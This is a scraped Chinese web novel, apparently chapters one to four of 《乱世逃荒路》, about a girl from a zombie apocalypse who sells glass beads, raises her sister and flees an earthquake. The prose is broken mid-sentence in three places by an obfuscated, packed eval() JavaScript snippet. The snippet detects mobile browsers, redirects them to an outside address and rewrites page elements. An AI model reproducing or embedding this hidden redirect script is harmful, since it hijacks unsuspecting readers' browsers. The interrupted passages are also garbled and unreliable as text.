《乱世逃荒路》 1. 城外交易 涉州，西城门。 一辆朴素不起眼的马车从城内缓缓驶出，沿着城外的土路而行，避开路人，悄悄转进偏僻的小树林后停下。 驾驶马车的男子约摸二十岁上下，他额头上沁出细密的汗珠，左右望了望，确定周围无人后，才抬手抹了抹额头上的汗，压低声音开口。 “爹，到了。” 话落，马车内传来些许动静，一只戴着翡翠扳指的骨节粗大的手掀开车帘，露出来人的模样。 他长着张嘴角天生带笑的圆盘脸，让人见之亲切，标志性圆润厚实的大耳垂，正是涉州有名的大富商，珍宝楼的东家——张德明。 “人来了吗？”张德明询问的声音中带着些不易察觉的急切。 “没呢，还不到时辰，差一刻钟。” 张德明也没有在马车里等人的想法，见他要下车来，张兴连忙取出脚蹬来，一边伸手去扶，一边嘴里还嘀咕着：“外面这么热，爹你就在里面坐着不好吗，次次都来来这么早干等着，不过就是个毛没长齐的小娃娃......” 今岁天气热得很，张兴本是担忧上了些年纪的父亲会受不住这酷暑，谁知张德明闻言却是眉头一竖，拂开大儿子的手，疾言厉色地打断他的话。 “你懂什么！我等的是她吗？我等的是咱们张氏一族的前程！”张德明脸上的笑意瞬间消失，压着眉眼训诫道，“平日便告诫你要谨言慎行，为何总是记不住，我告诉你，待会切莫胡言乱语，若惹人不悦，小心你老子我扒了你的皮！要不是你底下的弟弟们还太小了，我真是.....让我怎么放心把家业交给你。” 张德明目光带着失望，咽下了未尽的话语，重重地叹了口气。 他这个大儿子能力是有的，就是性子急躁了些，还总是拎不清，小时没发现这毛病，如今人都长成了，委实是不好掰过来，只能多带在身边提点教导。 这头的人心中千回百转，只听见不远处的小径中传来些许动静，张德明立刻收回思绪，打起精神来，整理了略有些褶皱的衣角，还不忘瞪了一眼儿子。 张兴缩缩脖子，不敢再说话，沉默地站在张德明身后。 片刻后，一个戴着帷帽、看不清面容的小童从林中走了出来，她身形瘦弱矮小，步履却十分稳健，显露出从容不迫的气势。 “宁小友，您来了。” 张德明热情地迎上前，说话时微微佝偻着腰，脸上带着明晃晃的笑容，殷切又不惹人厌，丝毫没有因为对方年纪尚小而流露出半分轻视之意。 宁竹微微颔首，也不是第一次跟张德明打交道了，省了那些寒暄废话，直接取下挂在腰间的布袋，当着张德明和张兴的面解开袋口，将里面的物品倒在手心上。 那是一颗表面打磨得极致光滑的珠子，足足有拳头大小，在林间树枝缝隙洒下的阳光中，显得格外的晶莹剔透，可轻轻转动时，珠子里又仿佛星光流动，带着柔和的光晕。 西域玻璃珠算不上太珍贵，可是这般精美绝伦的玻璃珠却是中难得一见的佳品！ 张德明的眼睛蓦地亮了起来，下意识想伸手去接。 可还没等他指尖触碰到珠子，宁竹手腕一翻，轻巧地避开了他的动作，玻璃珠重新落回布袋中，碰撞时发出清脆的声响。 这番举动让张德明恍然回过神，他见宁竹动作随意地摆弄这玻璃珠，哪怕已经见过好几次，还是止不住地心疼，生怕她一个没拿稳，把这稀世珍宝给摔碎了。 张德明赶忙朝身后的张兴招了招手，示意他将准备好的东西拿来。 张兴一刻不敢耽误，立时从怀中取出将一个沉甸甸的布袋，看起来和宁竹手中的布袋是同款，外表一样的不起眼，可里面装着的银钱却是实打实的。 别说为什么不用锦盒装，他们倒是想给，可宁竹不要，说是盒子累赘，不如布袋方便。 张德明自然明白财不外露的道理，宁小友挑在这么个地方交易，就是不希望有人注意，正巧张德明也不希望有太多人知道他们之间的交易，遂从善如流地将锦盒换成了布袋。 这样不招人眼，两方都安心。 张德明接过布袋，脸上溢满笑容：“宁小友，这是这次的银钱，您点点。” 宁竹看了一眼，没有接过，而是摇摇头。 张德明笑容僵住，摸不准她的意思，不免有些着急道：“宁小友这是何意？要是有什么不满意的直说便是，咱们可以坐下来好好商议。” 一切都好说，可千万别是有了更好的买主，不卖给他了。 话音未落，宁竹抬头，透过帷帽的轻纱看向他：“张老爷别急，并非是我不愿，只是这是最后的一颗珠子了，之后不会再有。” “什么！？” 张德明还没出声，他身后的张兴就忍不住发问出声。 这会儿张德明没有开口教训儿子，他心里也急啊。 玻璃珠对他们来说意义重大，张德明在京城有一同宗兄弟，不大不小是个京官，是张家上一代中最出息的一位。 前不久他将玻璃珠送往京城，好不容易借此打开了上头的门路，所求之事眼看着对方就快松口，可如今这玻璃珠一断，事情怕是也有些悬了。 张德明这会儿恨不得把宁竹给供起来，求求她再变出来几颗珠子出来。 可再心急如焚，张德明也没有做出什么过激的举动，只是目光紧紧盯着宁竹，一举一动都十分规矩。 至于为什么，问就是他已经试探过了。 起初见宁竹人小，才七八岁的年纪，只身找上门来，身边也没个大人护着，张德明自认也不是个多好的大善人，商人嘛，自是利益为先，不是没有起过那等蒙骗强抢的心思。 可当他打量的眼神中透露出一丁点危险的想法时，对面瘦瘦小小的孩童竟像是未卜先知一般。 只见她仰起头，戴着帷帽的脸看不清神色，苍白带着病气的小手微微握紧茶盏，掌心中顷刻传出几道细微的瓷器碎裂的声音。 她在张德明惊恐的目光中轻轻松开手，任由破碎的瓷片散落在桌上，轻笑着缓声说道：“一下没控制好力道，还望张老爷见谅。” 饶是张德明再见多识广，此刻都忍不住倒吸一口冷气。 这茶盏是再普通不过的厚胎瓷杯，专门买来招待些不甚重要的客人，图的就是价格便宜也不容易磕碰摔碎。 谁知茶盏落在这小女童手中竟然如同土块似的任她揉捏。 这等力气稀世罕见！ 怪道她小小一个人儿，竟敢只身前来谈买卖，原来是有所依仗。 张德明在她身上感受到一种说不出的危险，顿时收起了那些不该有的心思，暗自笃定此子定非常人！ 旁边的奉茶的仆人见到这一幕更是瞪大眼睛，顿时腿都软了，差点跌坐在地。 经过这一出，张德明终究还是按着原本的章程来了。 琉璃珠是罕见，可在他这里却是远超原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143075|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的价值，能派上大用，他何必得罪卖家，更何况对方提出的条件并不苛刻，甚至可以用实惠来形容，他可不会做出丢西瓜捡芝麻的蠢事。 后续他想弄清楚对方的身份，也派人试探跟踪过，谁知派出去的人不是被暴打一顿，就是三两下就被甩开了，无一幸免，张德明总算是彻底歇了继续往下查的念头。 打过这么几次交道，张德明也知道宁竹是个实在人，就像现在，说玻璃珠没有了，那就是真的没有了。 张德明心中遗憾，却也不再痴缠，免得惹人不快，他想的是买卖不成仁义在。 “在下明白了，既如此也不多打扰宁小友了，”张德明从腰间取下一块玉佩，转手递给宁竹，“这玉佩上印着我张家的家徽，但凡是旗下商铺，通通给您实惠价格，还望宁小友今后多多照顾。” 这是存着交好的心。 宁竹眉眼微动，张家可是涉州有名的大商户，商路四通八达，各行各业皆有浸染，这块玉佩的价值不言而喻，没有拒绝的理由。 她抬手接过，干脆道了声谢。 至此皆大欢喜，两方都不再多言。 宁竹站在原地目送张德明父子架着马车离开，等了一会儿后，她转身爬上树，取下之前放的背篓，换了身装扮，将银票和银子取出来贴身藏好，重新朝城门的方向走去。 她外面套了件麻布衣裳，瘦削的小脸泛着黄色，一看就是家境窘迫，为了生计去城外摘花采野菜来买的小姑娘。 那些城门外的士兵都没有兴致弯腰去翻找查看她背篓里的玩意儿，随意瞥了一眼就摆摆手让她进去了。 宁竹把银票都贴身藏严实了，就算士兵们翻找也只会找到一个装着几枚铜钱的布袋子和一把用来做遮掩的野菜。 等顺利进了城，宁竹先去临街买了十多个热乎乎的大肉馒头，一口接一口停不下来，她边走边吃，脑子里回忆着这段时间发生的事。 她是半个多月前才来到这里的，这家长辈前几年接连因病去世，留下兄妹三人相依为命。 一年前大哥宁松去京城跑商，前不久有同行人传来消息，说是回来路上遇到了山匪，人已经失踪，生死不知。 如今家中只剩下姐妹二人，妹妹叫宁荷，今年刚满五岁，姐姐和宁竹同名同姓，是个性子坚定要强的姑娘。 接到兄长失踪的消息后，‘宁竹’到底不过才是个十来岁的半大孩子，独自撑了一年家，日夜盼着哥哥回来，可如今希望破碎，她心中一片茫然。 ‘宁竹’伤心之余，对未来只有恐惧和害怕，当晚便起了高烧，病来得凶猛，偏偏她平日里吃不饱睡不稳，身体又虚弱，没能抗住，就此一命呜呼。 再睁眼时，身体里的人已经换成了从末世来的宁竹。 从被丧尸咬上脖颈的那一刻，宁竹就已经做好了死亡的准备，谁知居然还能再度活过来。 不管怎么说，占了别人的身子，都是她占了便宜，原身的责任就是她的责任，起码，她得照顾好宁荷，不能让宁家彻底垮掉。 家中留下来的最后一笔银子已经用来给‘宁竹’看病了，真真是一贫如洗，灶房干净得连老鼠都不愿意光顾。 刚来宁竹就面临着可能会饿死的困局，正想法子赚钱，可是没想到，还有件意料之外的事...... “阿姐！是你回来了吗？” 耳边传来的稚嫩嗓音打断了宁竹的回忆，她抬起头，原来不知不觉已经走到家门口。 2. 签到系统 一门之隔内，传来小姑娘软软糯糯的童音。 宁竹瞬间回神，应了一声：“嗯，开门吧。” 话音刚落就传来取下门栓的声响，门很快就打开了，宁竹还没抬脚进去，里面冲出来一个头上扎着两个揪揪的小孩，一把抱住了宁竹的腿。 后者不习惯如此近的距离，身体不易察觉的僵硬一瞬，很快又放松了下来。 自从宁竹病好以后，宁荷就变得更加黏人，估计是怕最后剩下的亲人也会离她而去，只要是宁竹在家，必定是寸步不离的跟着，就算宁竹出门了，也会在门口蹲守，等着第一时间来迎接她。 若是她调皮捣蛋，宁竹或者还不会允许她这样撒娇，偏生家里经历这么多变故后，宁荷又懂事极了，才四五岁的年纪就知道做力所能及的家务，搞得宁竹都狠不下心拒绝她的亲近。 宁荷虽然像个小尾巴，宁竹却并不觉得烦。 她摸了摸小姑娘细软枯黄的头发：“进去吧，阿姐给你带了好吃的。” 宁荷抬起头，葡萄似的大眼睛里沁出笑意，欢呼出声，拉着宁竹进门的同时，还不忘甜甜地说道：“阿姐最好啦！” 两人进院里，重新挂上了门栓，今天不打算再出门了。 宁家不算大，虽说住在城里，却是地段不怎么好的平民区，临近巷尾，紧巴巴挨着修建了三间砖瓦房，左侧搭了个灶屋，右侧用木板围起来一个简陋的小房间当做茅房，院子倒是宽敞，但还是一眼就能望到头。 宁竹把尚有余温的两个肉包子递给宁荷，后者坐在板凳上像小仓鼠一样啃着，仿佛吃的是什么山珍海般，不由自主地眯起眼睛，表情跟刚才的宁竹就是一个模子里刻出来的。 宁竹笑了下，她刚来的时候，宁家两姐妹都瘦得跟竹竿似的，比末世里物资短缺的宁竹还不如，经过这半个多月的坚持不懈地努力投喂，脸上总算是多了些肉，不再瘦得吓人了。 见宁荷吃得欢快，宁竹也不管她，背对着蹲下身，假装整理背篓里的物品，实则在心中默念“签到”两字。 下一秒，脑海中响起熟悉的机械声。 【叮——本周签到已完成！】 【恭喜获得解毒丸x10】 系统声音落下的瞬间，宁竹手心里多了一个小荷包，打开看到里面是用蜡密封好的十颗药丸，看样子应该可以保存挺长时间。 这就是那“意料之外”的意外，一个莫名出现在她脑海中的签到系统。 第一天醒来的时候宁竹就发现了，几番试探之后，知道这玩意儿除了自己能听见，对身体也没有什么伤害之后，她就欣然接受了。 毕竟穿越都出现了，还有什么不能出现的，就当是老天爷可怜她前世过得太惨，特意送来补偿她的。 系统做得十分简陋，就像是一个未完工的半成品，没有界面，只有声音，并且只有每周签到。 半个多月以来，最大的贡献就是给了三颗玻璃珠，被宁竹想办法卖给张德明后，解救了她空荡荡的荷包，其他的不是一两文钱，就是用不上的杂物，今天的药丸算是难得的好东西了。 宁竹将荷包收起来，心情很是不错。 她不打算全靠系统，还是得有正经长期稳定的来钱路子，具体手里的钱用来做什么买卖还没有想好。 不过现下也不急，从整日逃亡、满是丧尸的末日世界来到这个称得上安宁平静的古代社会，她想先修养一段时间，先养好这幅脆皮身体再说。 宁竹起身走了出去，把这次所得的银票全部藏进了灶房房梁上的罐子里，那是她专门准备的绝佳藏钱地点，身上只留了一些零散的碎银。 等她藏好了钱，从房梁一跃而下，心满意足地环视了圈灶房。 末世饥寒交迫有一顿没一顿的日子，着实给宁竹留下了巨大的心理阴影，兜里有钱之后的第一件事就是把灶房给填满了，小小的一间屋子被食物塞得满满当当。 只见，木质的架子上全是可以长期储存米面、油盐酱醋茶、各色泡菜坛子、咸肉腊肉......就算是她和宁荷几个月都不出门也饿不死，无疑给了宁竹极大的安全感。 最让宁竹惊喜的是，她在堆满柴火的木板底下发现了一个地窖，半个房间的大小，也全都被她存满了粮食。 这会儿功夫，宁荷已经解决掉了两个大肉包子，屁颠屁颠的来到厨房，看看阿姐在做什么。 在她看来，阿姐自从上次病好之后，就变得安静许多，也不再整日念叨着阿兄快些回来，夜里偷偷躲在被窝里哭了，与从前大不一样。 可她并不觉得害怕，甚至觉得阿姐这番变化让她倍感安心，打心里盼望着阿姐不要再变回去了，这样就极好。 宁竹早就听见了身后的脚步声，转过头来。 “吃完了吗，休息休息，我带你练一练。” 宁竹本身力气极大，在醒来后喝了宁荷眼巴巴送上来的两大碗药和水之后，胃里传来的空虚感没有丝毫减轻时，她就知道，那身大力也跟着一块过来了，算是件好事。 除了力气，从前的功夫她也不打算落下，两个都是她保命的本钱，必须日日勤加练习。 宁荷带着笑容的小脸瞬间垮了下来，脚丫子焊在了原地一般动弹不得，她期期艾艾地说道：“阿姐，我可以不练吗？不，是休息一天，就一天！” 要说阿姐唯一不好的改变，大概就是让她每日“锻炼”了，教她习武时的阿姐就像是换了一个人似的，不苟言笑，万分严肃，每次她偷懒时，总是会被盯得发怵。 宁竹教宁荷的是她从前师门的古武秘籍——倒海劲，不仅能强身健体，还能让人的力气逐日渐涨，并且从四五岁开始练习时最佳，宁竹就是靠着一身的功夫才能在吃人的末世中活下来。 无论如何她都希望宁荷能有自保的能力，而不是只能被动等待别人来救。 宁荷也是个小人精，看着宁竹面无表情的样子，就只知道今天是不练也得练了，没有讨价还价的余地，顿时乖觉起来，自己跑到院子里扎起了马步。 宁竹就一边监督，一边纠正她做得不到位的动作，直到天色暗淡下来，宁荷出了满身的汗之后，才大发慈悲地开口。 “好了，今天就到这里吧。” 宁荷刚刚还板正的动作一松，重重喘了口气。 宁竹将手中的帕子递给她，露出笑容来。 像宁荷这么小的孩子，定性都比较差，练武枯燥无味，还辛苦累人，很少有小孩能够坚持下来。 宁荷做得很好，该夸就夸，该奖励就奖励。 宁竹：“阿荷今天也坚持下来了，很不错，明日阿姐带你上街。” 宁荷红通通的小脸绽放出惊喜光芒，一把抱住宁竹，大声说道：“真的吗？” “假的。”宁竹故意逗她，揉了一把小孩细嫩的脸颊，“已经给你放好热水了，今日早些歇息，要是没起来我就不带你去了。” 宁荷雀跃欢呼一声。 她的自理能力很好，不用宁竹多操心，能自己穿衣吃饭，就是人小力气小，拿有些重物时需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143076|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁竹帮忙。 宁竹也不止一次感叹，还好留给她的不是一个尚在襁褓的婴儿，不然她真不知道自己能不能养活。 两人洗漱完，宁荷跟宁竹一起躺在床上。 后者经历过末世之后，有一点风吹草动就会醒过来，不习惯跟人离得太近，可是宁荷年纪尚小，如果是和平年代，也就是个幼儿园中班的小朋友，还是一个父母双亡，十分缺乏安全感的小孩。 宁荷不愿自己一个人睡，却也不哭闹，只是用一双水灵灵的大眼睛望着宁竹，让人很难说出拒绝的话。 最后的结果就是，自从宁竹来到这里之后，两人都是睡在一起的，渐渐也就习惯了。 今夜也是如此，两人挨着很快睡了过去。 ———— 翌日。 宁竹的生物钟准时响起，她睁开眼就掀开被子起床。 末世里不允许人懒床，也没资格懒床。 她没有叫醒宁荷。 孩子年纪小贪睡，此刻还躺在被窝里，用柔软的薄被将自己裹得严严实实，露出红扑扑的小脸，显然还在安眠中。 宁竹先去院子里的水缸中打水洗漱，最近几日天气格外闷热，就没特意烧热水，将洗漱完的脏水倒进门前的排水沟后，她转身进了灶房。 今早打算简单吃点，等宁荷起床后再带她上街去，毕竟不能因为小孩懂事就整天把人困在屋里。 放风是一回事，另外地窖里还有些空余，需要再买点合适储藏囤积的食物塞满。 宁竹边规划今日的行程，边烧水煮面，等面条煮好，宁荷也起来了，穿好衣服揉着眼睛先来灶房看了看宁竹，确定人还在，才去院子里洗漱。 小小一个人儿，前几年营养不好，个子矮，还不及成年人的大腿高，有模有样的拿着没拧干还在滴水的帕子擦脸，用柳条蘸着盐漱口，看得人怪可乐的。 宁竹看得忍俊不禁，招呼她过来吃面。 宁荷端起自己专门的小碗，弯着眉眼道：“阿姐辛苦啦！” 态度殷勤又狗腿。 宁竹知道她是为什么，也不戳穿，爽快说道：“快吃吧，吃完上街去。” 宁荷点头如捣蒜，大口吃面的同时还不忘问：“阿姐，今天去丰响街吗？” 宁竹轻轻“嗯”了一声。 说起来，宁竹如今所处的是不属于华夏历史记载中的朝代，名为景朝，年号为雍，如今是皇帝登基的第三十五年。 涉州位于其东部，普通百姓们的生活虽不富裕，但只要不是懒汉也能做到起码的温饱，尚且算得上是安居乐业。 涉州城是大城，人口不少，经济自然也就流通，做各种买卖的都有，也有几家有钱的富商，张家虽并不是最富，但宁竹依旧选择了张家的原因也很简单。 张家有人在朝为官，称得上是书香世家，自然要更为爱惜羽毛，在涉州城中向来风评不错，宁竹赌的就是，哪怕张家有小动作也不会闹得太过分。 可若是换成城中其他几家富户就难说了，宁竹自己一个人还好解决，打不过就跑，无奈带着个小孩，又没背景，还是需要认真挑选买家，低调些为好。 至于宁荷口中的丰响街，则是涉州城中最繁华的街道，吃喝玩乐样样都有，商铺琳琅满目，就算是逛一整天也逛不完，上次宁荷去那里还是原身的大哥宁松在的时候了。 宁荷满心期待，宁竹也不墨迹，吃完面洗干净碗之后就背着竹篓上街了。 刚刚出门迎面就撞上一位身材丰盈的妇人。 3. 地动征兆 妇人名叫卞含秀，是隔壁季家的，家境在这片也能说是富裕，男人是铁匠铺的工匠，夫妇俩育有一儿一女。 宁荷父母还在世时，两家关系不错，经常来往，因为卞含秀与宁母同姓，宁竹她们就喊一声“秀姨”。 等宁家父母去世后，季家不仅没断了来往，对兄妹几个更是多有照拂。 那日‘宁竹’高烧不退时，宁荷就是跑去隔壁求助的，季家也二话没说就给请了郎中来，送吃的送喝的，连药钱都是宁竹后来在张家手中赚到钱之后才还的。 季家夫妇俩也是有儿有女的，人又心善，看见两个小孩都快瘦成骨头架子了，还让宁竹把钱收起来，多吃点好的补充补充营养。 最后还是在宁竹撒谎兄长在失踪前曾经托人送来了一些银钱，家中暂时并不缺，好说歹说半天季家夫妇才收下了，也不说是还钱，只是保管，什么时候要就尽管再拿。 这份情宁竹自然是记在心中的，此刻看见卞含秀也笑着问好。 “秀姨好。” 卞含秀笑眯眯地应了一声：“小竹小荷这是上哪儿去啊？” 宁荷抢着回答道：“阿姐说我最近很乖，带我去玩呢。” 卞含秀怜爱地摸了摸宁荷的头，又听见说要上街去，还不忘关心地对宁竹说道：“今儿风大，逛完带妹妹早些回家去。” 不是她多管闲事，毕竟宁竹看着脸上的黄气没去，还是风吹就倒的病殃殃模样，着实让人不放心，倒是宁荷那个小丫头，这些日子脸颊上都有肉了，看起来健康活泼了不少。 宁竹笑着道：“好的秀姨。” 卞含秀也不多说了，孩子难得松快，她再啰嗦没得坏了心情，摆摆手道：“行了，去玩吧。” 宁竹和宁荷礼貌跟她道别。 这次时间充裕，宁竹就专心陪着宁荷逛街，小孩体力差，等到逛累了走不动了，她再去办事。 正好她也没怎么认真逛过这条街，每次都是匆匆来匆匆去，这回可以好好享受享受，切身感受古代的人文风貌。 两人刚步入丰响街，人声嘈杂，四周的叫卖声此起彼伏，摊贩们卖力招揽着过往的行人。 “买花咯，新鲜的花儿！给家里添点春色，小娘子戴在头上也美得嘞！” “豆腐脑，又香又嫩的豆腐脑，甜咸口都有，加糖、桂花蜜、葱花、虾皮......任您选嘞！” “凉茶嘞凉茶！清热下火的凉茶！喝一口消热解暑，浑身舒坦嘞！提神醒脑！” “又大又红的糖葫芦，酸酸甜甜，小孩吃了笑开颜，吃完一串还想再来一串，走过路过千万不能错过！” “......” 宁荷脸上满是兴奋的神色，眼睛都不够看了，左瞧瞧右瞧瞧，最后将视线定格在插在稻草上的糖葫芦。 红红的果子上裹着一层亮晶晶的糖衣，大概是每个小孩都抵抗不了的诱惑。 可是宁荷也只是不舍地望着，没有开口讨要，在她的记忆里，家里应该是没有钱的，现在这般能每天吃肉肉吃饱饭已经非常不错了，不敢奢想其他，以为逛街就是纯逛街。 小孩的心思浅显，宁竹一眼就看出来她小脑袋瓜里在想什么，说起来也是她的疏忽，忘记告诉宁荷家中已经没那么窘迫了。 宁竹牵着宁荷的手，径直走向买糖葫芦的老翁，在后者期待又纠结的目光下轻声说道。 “别阿姐不敢保证，但是糖葫芦嘛，想吃就管饱。” 宁荷的眼睛亮起来，她仰起头，小心翼翼地问道。 “那我要一串！还是两串吧，可以吗阿姐~” 宁竹笑着应着：“可以，咱们买五串。” 嗯，她也可以尝尝味道。 姐妹俩一路走走停停，肚子都被各色零嘴塞满了，宁竹还给她们两人各买了三套成衣鞋子。 宁竹和宁荷的衣服都是宁家父母在世时做的，已经短了一截了，柚子勉强遮住手腕，是该换新的了。 宁竹连缝补都不会，更别提做衣裳了，只能买现成的，幸好她现在并不差钱。 逛到中午时分，宁荷终于耗完精力，天气闷热，两个人都出了一身的汗，现下肚子还不饿，宁竹便挑了家看起来还不错的茶馆，点上一壶果茶和两盘点心。 宁竹给宁荷倒了一杯茶，看她小口小口的喝着，脸上满是餍足的神情，自己也随手拿了块点心吃。 耳边隐约听见隔壁桌的声音，宁竹望过去，看见三个穿着绸缎长衫的男子，不是手里拿着扇子，就是腰间系着玉佩，看着都是家境不错的读书人。 “诸位听说了吗，北边的蛮族又有异动了，边境多有摩擦，数日前就已经开战了。”其中一位男子低声说道，眉头紧锁，手中的扇子也不自觉地停了下来。 “别说北边了，京城那边看着也不太平，盗贼蜂起，不少去往京城的商队有去无回，连尸体都没找到，我家都不得不停了京城那边的生意。”另一位男子叹出口气。 “行了，这样至少命还在，看来看去，也就咱们这边要安全些，就是不知道能安稳多久......” 宁竹眉心一动，失踪的大哥宁松当初就是为了赚钱养家，免除徭役才铤而走险去京城跑商的，恐怕就是回来时遇到那些盗贼，这才失去了下落生死不知。 又听闻，其中一男子愤愤不平拍桌道:“那些贼子竟敢如此放肆，朝廷就没有派人去围剿吗！？” “剿了，怎么没剿，可是官兵一去，那些匪盗就跟闻到味儿似的老鼠，直往深山老林里钻，哪里又抓得住，官兵又不可能长期驻守在那里，等他们前脚刚走，后脚盗匪们就又出来兴风作浪。” 宁竹微微垂眸，手指轻轻抚过桌上的茶杯。 此事如果真是盗贼们反应迅速才逃脱官府追捕那还好说，怕的就是朝廷多次派兵还一无所获，是因为有人从中作梗，与盗贼们沆瀣一气，借机谋取私利，中饱私囊。 “哼，要我说，就不是真心想管这事儿，死的大多都是些商人，朝廷官府不过是做做面子功夫，出兵围剿盗贼可是得少不了银子的，北边有战事当今那位都还忙着修建他的行宫，处处大兴土木，哪有功夫去剿匪，今年怕是又要增加赋税徭役吧......” 说话的男子语气中带着些愤懑和埋怨。 “慎言！你不要命了！” 被同伴打断的男子意识到自己说错了话，表情悻悻，不敢再开口，略有些后怕地环顾四周，瞥见只隔壁有两个小姑娘，大的那个正在照顾小的吃点心，瞬间就放下了心。 经此一遭，几人也没有兴致再谈，很快就结账离开了。 待到隔壁桌的人走了之后，宁竹才收回给宁荷擦嘴角的点心渣子的手，眼中若有所思。 她对这个时代了解的还是太少了，本以为看涉州百姓生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143077|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不错，想必皇帝也昏庸不到哪里去，可今日听这几人的言语，事实好像并非她想象中的那般。 这里可不比现代，皇帝是掌握着整个国家兴衰的人，他一昏聩，搞不好就是国破家亡，最受苦受难的还是他们这些最底层的老百姓。 许多时候天下崩颓不过就在顷刻之间。 宁竹心中突然涌上些紧迫感。 不怕一万就怕万一，北边有乱，粮价必定还会上涨，药材也是必不可少的，还有最重要的，她需要一把趁手的武器，末世待的日子久了，身边缺少合适的武器让她少了些安全感。 可是现在铁制品管制严格，不许私自铸造兵器，被抓到了可是要砍头的，该想想办法...... “阿姐，我吃好了。” 稚嫩的嗓音唤回了宁竹发散的思绪，她摸出银子放在桌上，牵着宁荷出了茶馆。 宁荷抬起头问道：“阿姐，我们这是要回家了吗？” 宁竹张了张嘴，正想说还有些东西没买，晚点再回去，倏地听见了奇怪的响动，像是石头摩擦的声音，又似闷雷响动。 不过两三秒钟的时间，快得仿佛是她的幻觉，宁竹眉头皱了起来，手指紧紧攥住背篓的带子，心里有种非常不妙的预感，瞬间也没有再采购的心思。 她把话咽了回去，说道：“回家吧。” 没曾想，两人前脚刚到家，后脚就有人找来了。 “咚咚咚”的敲门声后，随之而来的是卞含秀的声音。 “小竹，在家吗？” 宁竹来不及放下背篓，忙不迭去将门打开。 “在呢秀姨。” “幸好你们回来了，今儿你季叔在家，说着去打水呢，帮你们一起打了。”卞含秀手里拿着水桶，说着指了指身后的手推木板车。 他们这一片的没有人家户打水井，日常洗衣做饭的水都需要去隔壁坊的公用水井那边打回来，很是不便。 宁松走之后宁家就剩两个小孩，之前家里还有些余钱的时候都是请人送水来，一缸水省着点用，能撑十天半个月的，偶尔季家父子空闲时候也会过来帮忙打水。 宁竹顺着卞含秀的视线看过去，手推车边还站着一个人高马大的黑脸汉子和一个梳着三小髻的少女，是卞含秀的丈夫和女儿，这个时辰她儿子还在书院读书没回来。 “季叔，新桐姐。”宁竹笑着打了声招呼，又回道，“家中缸里还有些水呢，不用麻烦季叔了。” 季新桐弯了弯眉眼，柔声喊“阿竹妹妹”。 黑脸汉子，季元武摆摆手，声音和他性子一般爽朗豪放：“什么麻烦不麻烦的，有推车，顺手的事。” 卞含秀也开口，只是语气有些发愁：“近来天气闷热得很，又久不下雨，听说隔壁坊的井眼瞧着水位降了不少，都快干涸了，咱们还是多打些水存着，要是井水都枯了，那可怎么办。” 宁荷听见动静也跑了出来，仰起脸乖巧问好，末了扯扯宁竹的衣角。 “阿姐，我们一起去吧。” 宁竹抿唇不语，脑海里不断回响着卞含秀方才说的话。 天气闷热、久旱不雨、地声异常、井水干涸......这些前兆凑在一起不就是—— 宁竹瞳孔猛地一缩，说话的声音陡然提高。 “不！不能去！” 话音未落，脚下的地面开始微微颤动起来。 4. 地龙翻身 墙面上的灰尘扑簌簌地往下掉，像是被一只无形的手狠狠摇晃，突如其来的地动让其他人有些回不过神。 地震突至，时间就是生命，宁竹来不及解释太多，一把掳起宁荷朝外面跑，喉咙迸出大喊。 “是地动！地龙翻身！” 闻言，季元武和卞含秀先是一愣，随即脸色变得万分难看。 “快走！” 季元武的声音低沉急促，将妻子和女儿推向巷子外，他自己则留在最后面护着她们。 这时大地震颤得越发剧烈，巷子里的砖石开始松动，墙面上裂开了细密的纹路。 宁竹用平生最快的速度往前跑，她并没有经历过大地震，脑海里也只有末世前那些人人皆知的躲避经验。 此刻待在家中和巷子这种空间狭小的地方肯定是不行的，她也无法判断这次地震的规模有多大，只能凭借本能往前冲。 一昧埋头狂奔，目光死死盯着前方，跑出了巷子口也没有停下来。 那些不断从巷子里涌出来的人们，脸上的表情或惊恐或茫然，并没有分走宁竹丝毫的注意，她的目标非常明确——巷子口不远处的集市广场。 那边地势开阔，四周没有高大的建筑，是附近最安全的地方了。 宁竹再一次庆幸宁家在靠近巷尾的位置，离开巷子并没有遇到太多的阻碍。 随着地动越发剧烈，那些修建得并不稳固的墙面上的砖石开始剥落，有人意识到了事情的严重性。 宁竹耳边听见了身后不知道是谁惊恐地高喊着：“地动！是地动！！！” 惊呼声、尖叫声和孩童的哭声交织在一起，不用回头也知道是怎样的乱象。 宁竹咬紧牙关没有回头，她在摇晃中勉力保持平衡，双手紧紧护着宁荷。 周围渐渐挤满了往外逃的人，剧烈的摇晃感让人难以稳住身形，稍不注意就会跌倒在地。 宁竹身边有很多人跑着跑着就跌倒在地，被身后的惊慌奔逃的人群踩踏，发出痛苦的呻吟。 连季新桐也差一点摔倒，她的脚步踉跄，身体不自主地向前倾去，脸上满是惊恐。 